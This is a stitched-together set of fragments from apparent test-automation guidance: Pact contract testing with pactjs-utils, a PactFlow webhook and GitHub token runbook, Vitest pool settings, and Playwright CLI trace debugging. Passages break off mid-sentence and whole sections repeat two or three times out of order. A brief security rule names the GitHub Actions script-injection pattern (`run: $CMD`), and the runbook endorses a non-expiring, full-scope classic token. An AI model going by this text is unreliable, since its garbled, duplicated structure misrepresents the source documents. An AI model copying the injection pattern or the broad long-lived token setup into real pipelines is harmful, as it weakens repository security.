`PACT_PAYLOAD_URL` makes `buildVerifierOptions` verify only the triggering pact (see `pactjs-utils-provider-verifier.md` Example 1). + +### Example 3: Secret Rotation Runbook + +**Trigger**: `can-i-deploy` in a consumer repo times out with `There is no verified pact between <consumer-version> and the version of <provider> currently in <env>` — AND the provider's `contract-test-provider` workflow shows no recent `repository_dispatch` runs. + +**Diagnosis**: + +1.

Log in to GitHub as the dedicated machine user (e.g., `pactflow-<org>`). **Do not use a personal account** — the whole point of the machine user is that the token outlives any individual. +2. `Settings → Developer settings → Personal access tokens → Tokens (classic) → Generate new token (classic)`. +3. Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run. Re-run the original consumer CI to confirm `can-i-deploy` now passes. +8. Revoke the old token: in the machine user's GitHub settings, delete the previous `pactflow-webhook-*` token so a leaked copy can't be reused. + +**Why no expiration**: A token with a 90-day expiry rotates 4× per year.

Name it `pactflow-<org>` or similar; give it outside-collaborator access only to the specific provider repos. +- **Classic PAT, `repo` scope, no expiration** — required for `repository_dispatch`.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions.

Explicit type coercion (null→"null", Date→ISO string, nested objects flattened) +- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body) +- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })` +- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows +- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification +- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness +- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.) +-

Always use `@seontechnologies/pactjs-utils` (no subpath exports) +- **Peer dependency**: `@pact-foundation/pact` must be installed separately +- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files +- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars +- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch) +- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks +- **Type

Clean up +playwright-cli -s=tea-explore close +``` + +The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows. + +## What TEA Uses It For + +**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In": + +``` +snapshot ref {role: "button", name: "Sign In"} + → generates: page.getByRole('button', { name: 'Sign In' }) +``` + +**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation. + +**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session. + +**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils: + +```bash +# Agent uses CLI to observe network traffic on the dashboard page +playwright-cli -s=tea-discover open https://app.com/dashboard +playwright-cli -s=tea-discover network +# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200 +playwright-cli -s=tea-discover close +``` + +```typescript +// Agent generates API tests using what it discovered, with playwright-utils +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('GET /api/users returns user list', async ({ apiRequest }) => { + const { status, body } = await apiRequest<User[]>({ + method: 'GET', + path: '/api/users', + }); + expect(status).toBe(200); + expect(body.length).toBeGreaterThan(0); +}); +``` + +**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.

A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness. + +## Security: Script Injection Prevention + +**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks.

Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input).

Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; serialization alone (via `fileParallelism: false`) is insufficient on the default threads pool in Vitest v1. Forks + `singleFork: true` runs every pact file in one subprocess with a coherent FFI handle and eliminated a reproducible Linux-CI flake on two repos (`pactjs-utils`, `seon-mcp-server`). Single-file consumer suites have not been observed to flake; this rule is still recommended as a future-proof.

GitHub warns against this for human users; for a locked-down machine-user PAT stored in PactFlow's secret vault, the security trade-off is documented and accepted. +- The alternative — rotating a PAT every 30/60/90 days — requires tooling and coordination most teams don't yet have. Long-lived + monitored + machine-user-owned is the pragmatic default. + +## Pattern Examples + +### Example 1: Webhook URL, Headers, and Body + +```json +{ + "description": "Notify <provider-repo> when a consumer contract requires verification", + "events": [{ "name": "contract_requiring_verification_published" }], + "provider": { "name": "<provider-pacticipant-name>" }, + "request": { + "method": "POST", + "url": "https://api.github.com/repos/<org>/<provider-repo>/dispatches", + "headers": { + "Accept": "application/vnd.github+json", + "Authorization": "Bearer ${user.githubToken}", + "Content-Type": "application/json", + "User-Agent": "PactFlow", + "X-GitHub-Api-Version": "2022-11-28" + }, + "body": { + "event_type": "contract_requiring_verification_published", + "client_payload": { + "pact_url": "${pactbroker.pactUrl}", + "sha": "${pactbroker.providerVersionNumber}", + "branch": "${pactbroker.providerVersionBranch}", + "consumer_name": "${pactbroker.consumerName}", + "consumer_version_number": "${pactbroker.consumerVersionNumber}", + "consumer_version_tags": "${pactbroker.consumerVersionTags}", + "consumer_version_branch": "${pactbroker.consumerVersionBranch}" + } + } + } +} +``` + +**Key Points**: + +- `${user.githubToken}` references a PactFlow **secret** stored in `Settings → Secrets` (web UI: `/settings/secrets`). The secret holds the classic PAT — never inline the token in the webhook body. +- `${pactbroker.*}` are PactFlow-injected template variables; the provider workflow reads them from `github.event.client_payload`. +- Use the `contract_requiring_verification_published` event (not `contract_published`) — the former fires only when a new pact _content_ change needs verification; the latter fires on every publish, including no-op republishes. + +### Example 2: Provider GitHub Actions Workflow (Triggered by Webhook) + +```yaml +# .github/workflows/contract-test-provider.yml +name: contract-test-provider + +on: + repository_dispatch: + types: [contract_requiring_verification_published] + push: + branches: [main] + +jobs: + verify: + runs-on: ubuntu-latest + env: + PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }} + PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }} + # Pulled from webhook client_payload when triggered by PactFlow: + PACT_PAYLOAD_URL: ${{ github.event.client_payload.pact_url }} + GITHUB_SHA: ${{ github.event.client_payload.sha || github.sha }} + GITHUB_BRANCH: ${{ github.event.client_payload.branch || github.head_ref || github.ref_name }} + steps: + - uses: actions/checkout@v4 + with: + # Check out the provider version known to the broker — this is the provider SHA PactFlow wants verified. + ref: ${{ github.event.client_payload.sha || github.sha }} + - uses: actions/setup-node@v4 + with: + node-version: 20 + - run: npm ci + - name: Run provider verification + run: npm run test:pact:provider + - name: Can I deploy provider? + if: github.event_name == 'push' + run: npm run can:i:deploy:provider +``` + +**Key Points**: + +- `repository_dispatch` is the event type emitted by GitHub when the webhook's REST call hits `/repos/<org>/<repo>/dispatches`. +- The `types` filter must match the webhook's `event_type` (`contract_requiring_verification_published` here). +- Checking out the provider version known to the broker (`providerVersionNumber`) ensures verification runs against the exact provider commit PactFlow registered — not whatever is on main. +- `PACT_PAYLOAD_URL` makes `buildVerifierOptions` verify only the triggering pact (see `pactjs-utils-provider-verifier.md` Example 1). + +### Example 3: Secret Rotation Runbook + +**Trigger**: `can-i-deploy` in a consumer repo times out with `There is no verified pact between <consumer-version> and the version of <provider> currently in <env>` — AND the provider's `contract-test-provider` workflow shows no recent `repository_dispatch` runs. + +**Diagnosis**: + +1.

Log in to GitHub as the dedicated machine user (e.g., `pactflow-<org>`). **Do not use a personal account** — the whole point of the machine user is that the token outlives any individual. +2. `Settings → Developer settings → Personal access tokens → Tokens (classic) → Generate new token (classic)`. +3. Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run. Re-run the original consumer CI to confirm `can-i-deploy` now passes. +8. Revoke the old token: in the machine user's GitHub settings, delete the previous `pactflow-webhook-*` token so a leaked copy can't be reused. + +**Why no expiration**: A token with a 90-day expiry rotates 4× per year.

Name it `pactflow-<org>` or similar; give it outside-collaborator access only to the specific provider repos. +- **Classic PAT, `repo` scope, no expiration** — required for `repository_dispatch`.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions.

well for HTTP and message (async/Kafka) contracts. + +## Rationale + +### Problems with raw @pact-foundation/pact + +- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually

Explicit type coercion (null→"null", Date→ISO string, nested objects flattened) +- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body) +- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })` +- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows +- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification +- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness +- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.) +-

Always use `@seontechnologies/pactjs-utils` (no subpath exports) +- **Peer dependency**: `@pact-foundation/pact` must be installed separately +- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files +- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars +- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch) +- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks +- **Type

Clean up +playwright-cli -s=tea-explore close +``` + +The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows. + +## What TEA Uses It For + +**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In": + +``` +snapshot ref {role: "button", name: "Sign In"} + → generates: page.getByRole('button', { name: 'Sign In' }) +``` + +**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation. + +**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session. + +**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils: + +```bash +# Agent uses CLI to observe network traffic on the dashboard page +playwright-cli -s=tea-discover open https://app.com/dashboard +playwright-cli -s=tea-discover network +# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200 +playwright-cli -s=tea-discover close +``` + +```typescript +// Agent generates API tests using what it discovered, with playwright-utils +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('GET /api/users returns user list', async ({ apiRequest }) => { + const { status, body } = await apiRequest<User[]>({ + method: 'GET', + path: '/api/users', + }); + expect(status).toBe(200); + expect(body.length).toBeGreaterThan(0); +}); +``` + +**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.

Log email IDs and links for troubleshooting, but scrub PII before committing artifacts. + +## Rationale + +Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state).

+ } + createdOrders.length = 0; + }, +}); + +// Example usage: +// test('user can place order', async ({ seedUser, seedOrder, page }) => { +// const user = await seedUser({ email: 'test@example.com' }); +// const order = await seedOrder({ userId: user.id, total: 100 }); +// +// await page.goto(`/orders/${order.id}`); +// await expect(page.getByText('Order Total: $100')).toBeVisible(); +// +// // No manual cleanup needed—fixture handles it automatically +// }); +``` + +**Key Points**: + +- Track all created resources in array during test execution +- Teardown (after `use()`) deletes all tracked resources +- Tests don't manually clean up—happens automatically +- Prevents test pollution and flakiness from shared state + +### Anti-Pattern: Inheritance-Based Page Objects + +**Problem**: + +```typescript +// ❌ BAD: Page Object Model with inheritance +class BasePage { + constructor(public page: Page) {} + + async navigate(url: string) { + await this.page.goto(url);

+ await this.navigate('/admin'); + } +} +``` + +**Why It Fails**: + +- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`) +- `AdminPage` inherits unnecessary `login` details—tight coupling +- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance) +- Hard to test `BasePage` methods in isolation +- Hidden state in class instances leads to unpredictable behavior + +**Better Approach**: Use pure functions + fixtures + +```typescript +// ✅ GOOD: Pure functions with fixture composition +// helpers/navigation.ts +export async function navigate(page: Page, url: string) { + await page.goto(url);

Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run.

Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

This is the command CI and developers run before pushing. See Example 10 for the `check-pact-determinism.sh` script itself. +- **`test:pact:consumer:run` is the fast inner command** for TDD loops (a single pass of the suite, no gate).

+``` + +**Key Points**: + +- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders) +- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form +- `setJsonBody` is equivalent to `setJsonContent({ body: ... })` + +### Example 6: One `addInteraction()` per `it()` Block (PactV4 Determinism Rule) + +**Context**: PactV4's `pact.addInteraction()` feeds the Rust FFI layer that writes interactions to the pact JSON. Chaining multiple `.addInteraction()...executeTest()` blocks inside a single `it()` — or otherwise registering multiple interactions before a single `executeTest` — causes the FFI to **non-deterministically drop whole interactions** (not individual fields) in roughly 1 out of N runs. The pattern passes locally, then fails intermittently in CI or at publish time with `Cannot change pact content for already published pact` once the dropped interaction reappears on a re-run. + +**Rule**: Exactly one `pact.addInteraction()` per `it()` block. For N interactions, write N `it()` blocks, or use `it.each(...)`. + +```typescript +// ❌ WRONG — two addInteraction() inside one it() — FFI non-deterministically drops one +it('handles movie lookup scenarios', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); + + // Sometimes this second interaction never makes it to the pact JSON: + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — one addInteraction() per it() +it('gets a movie by id', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +it('returns empty list when no movies exist', async () => { + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — parameterized via it.each for data-driven coverage +it.each([ + { id: 1, name: 'The Matrix' }, + { id: 2, name: 'Inception' }, +])('gets movie $id', async ({ id, name }) => { + await pact + .addInteraction() + .given('movie exists', { id, name }) + .uponReceiving(`a request to get movie ${id}`) + .withRequest('GET', `/movies/${id}`) + .willRespondWith(200, setJsonBody({ id: integer(id), name: string(name) })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); +``` + +**Key Points**: + +- **This rule stacks with two other MANDATORY vitest settings**: `fileParallelism: false` AND `pool: 'forks'` with `poolOptions.forks.singleFork: true`. All three are required and address different failure modes — `fileParallelism: false` prevents parallel workers from racing on the shared pact JSON; `pool: 'forks'` + `singleFork: true` prevents the Pact Rust FFI from leaking state across files (manifests as "request was expected but not received" flakes on Linux CI only); one-interaction-per-`it()` prevents the FFI from dropping interactions within a single test body. +- Symptom of violating this rule: the pact file is byte-different between otherwise-identical runs; `scripts/check-pact-determinism.sh` flags drift; PactFlow rejects a republish with `Cannot change pact content`. +- The rule applies to both HTTP consumer pacts (`PactV4`) and message consumer pacts (`MessageConsumerPact`). +- See `pact-consumer-framework-setup.md` Example 10 for the determinism gate that automatically catches violations of this rule. + +## Key Points + +- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)` +- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required) +- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement) +- **Date handling**: Date objects become ISO 8601 strings +- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them +- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety +- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API +- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders) +- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable +- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent 